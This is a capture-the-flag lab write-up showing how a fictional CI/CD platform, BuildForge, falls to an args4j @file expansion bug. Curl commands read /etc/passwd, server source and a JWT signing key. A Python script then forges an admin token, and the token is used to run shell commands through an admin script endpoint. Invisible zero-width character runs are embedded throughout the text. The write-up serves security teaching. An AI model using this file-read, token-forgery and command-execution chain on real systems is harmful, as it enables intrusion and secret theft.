← Back to Writeups
CUSTOMMediumWeb

Lab 320 — BuildForge — Path Traversal to RCE via CLI @File Expansion

XESXOR9/10/20263 min read
#web#custom#medium#arbitrary_file_read_via_cli_pa#args4j_atfile_expansion#jwt_token_forgery_with_leaked_#server_side_script_execution#linux

Lab 320 — BuildForge — Path Traversal to RCE via CLI @File Expansion

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-03 | Status: Solved Techniques: arbitrary_file_read_via_cli_parsing, args4j_atfile_expansion, jwt_token_forgery_with_leaked_key, server_side_script_execution

Summary

Task: CI/CD platform with CLI endpoint using args4j expandAtFiles, allowing @-prefixed args to read server files. Solution: chain arbitrary file read to leak JWT signing key, forge admin token, execute shell commands via /api/admin/script.

Lab 320 — BuildForge — Path Traversal to RCE via CLI @File Expansion — Hackadvisor

Description

BuildForge is a self-hosted CI/CD automation platform used by development teams to manage build pipelines, deploy applications, and coordinate release workflows. The platform features a web dashboard for managing projects and pipelines, a CLI interface for automation and scripting, and an admin console for system configuration.

Target: https://d5c0aff6-58ad-4d26-9a16-f13084496cf3.labs.hackadvisor.io/ Credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Objective: Escalate from authenticated user to remote code execution on the server.

Analysis

Reconnaissance

  1. Platform identification: Express/Node.js application (BuildForge v2.4.1)
  2. API documentation at /api/docs revealed critical endpoints:
    • POST /api/cli — CLI interface with args4j argument parser, expandAtFiles enabled
    • POST /api/admin/script — Execute server-side scripts (requires admin API token with JWT Bearer auth)
  3. Key insight: The args4j library's expandAtFiles feature treats arguments starting with @ as file paths, reading their contents and substituting them as argument values ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability Chain

The attack chain involves three stages:

  1. Arbitrary file read via @file expansion in the CLI endpoint
  2. Secret extraction — JWT signing key and auth configuration from server files
  3. Privilege escalation + RCE — Forge admin JWT, execute commands via admin script endpoint

Solution

Step 1: Login and Discovery

Logged in with provided credentials and explored the API documentation:

bash
# Login
curl -X POST "$URL/api/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"email": "user@test.com", "password": "password123"}' \
  -c cookies.txt
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Check API docs
curl "$URL/api/docs" -b cookies.txt

The /api/docs endpoint revealed the CLI interface uses args4j with expandAtFiles: true.

Step 2: Path Traversal via @file Expansion

The /api/cli endpoint parses arguments using args4j. When expandAtFiles is enabled, any argument prefixed with @ is interpreted as a file path — the file's contents replace the argument value.

bash
# Test file read with /etc/passwd
curl -X POST "$URL/api/cli" -H "Content-Type: application/json" \
  -b cookies.txt \
  -d '{"command": "build", "args": ["@/etc/passwd"]}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The build command had restrictions on argument length/newlines, but the config command echoed back the full expanded argument without truncation:

bash
# Read server source code
curl -X POST "$URL/api/cli" -H "Content-Type: application/json" \
  -b cookies.txt \
  -d '{"command": "config", "args": ["@/app/server.js"]}'

Step 3: Extracting Secrets

From the source code, identified secret file locations and read them:

bash
# Read JWT signing key
curl -X POST "$URL/api/cli" -H "Content-Type: application/json" \
  -b cookies.txt \
  -d '{"command": "config", "args": ["@/app/data/secrets/api-token.key"]}'
# Result: hx/7xbf+S45P5ZOFGXGeC9rgXTSuv00ZV8vV6Xm5s1eLEKOUiWDYeiyu71Z6ujeZ
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Read auth configuration
curl -X POST "$URL/api/cli" -H "Content-Type: application/json" \
  -b cookies.txt \
  -d '{"command": "config", "args": ["@/app/data/config/auth.json"]}'
# Result: algorithm=HS256, issuer=buildforge-auth, admin_claims={role: "admin", iss: "buildforge-auth"}

Step 4: Forging Admin JWT Token

Used the leaked signing key and configuration to forge an admin JWT:

python
#!/usr/bin/env python3
import jwt

key = 'hx/7xbf+S45P5ZOFGXGeC9rgXTSuv00ZV8vV6Xm5s1eLEKOUiWDYeiyu71Z6ujeZ'
token = jwt.encode(
    {'role': 'admin', 'iss': 'buildforge-auth'},
    key,
    algorithm='HS256'
)
print(token)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 5: Remote Code Execution

Used the forged admin token to execute shell commands via the admin script endpoint:

bash
TOKEN="<forged_jwt_token>"

curl -X POST "$URL/api/admin/script" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"script": "cat /root/flag.txt", "language": "shell"}'

Response:

json
{"output":"FLAG{REDACTED}","language":"shell","status":"completed"}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍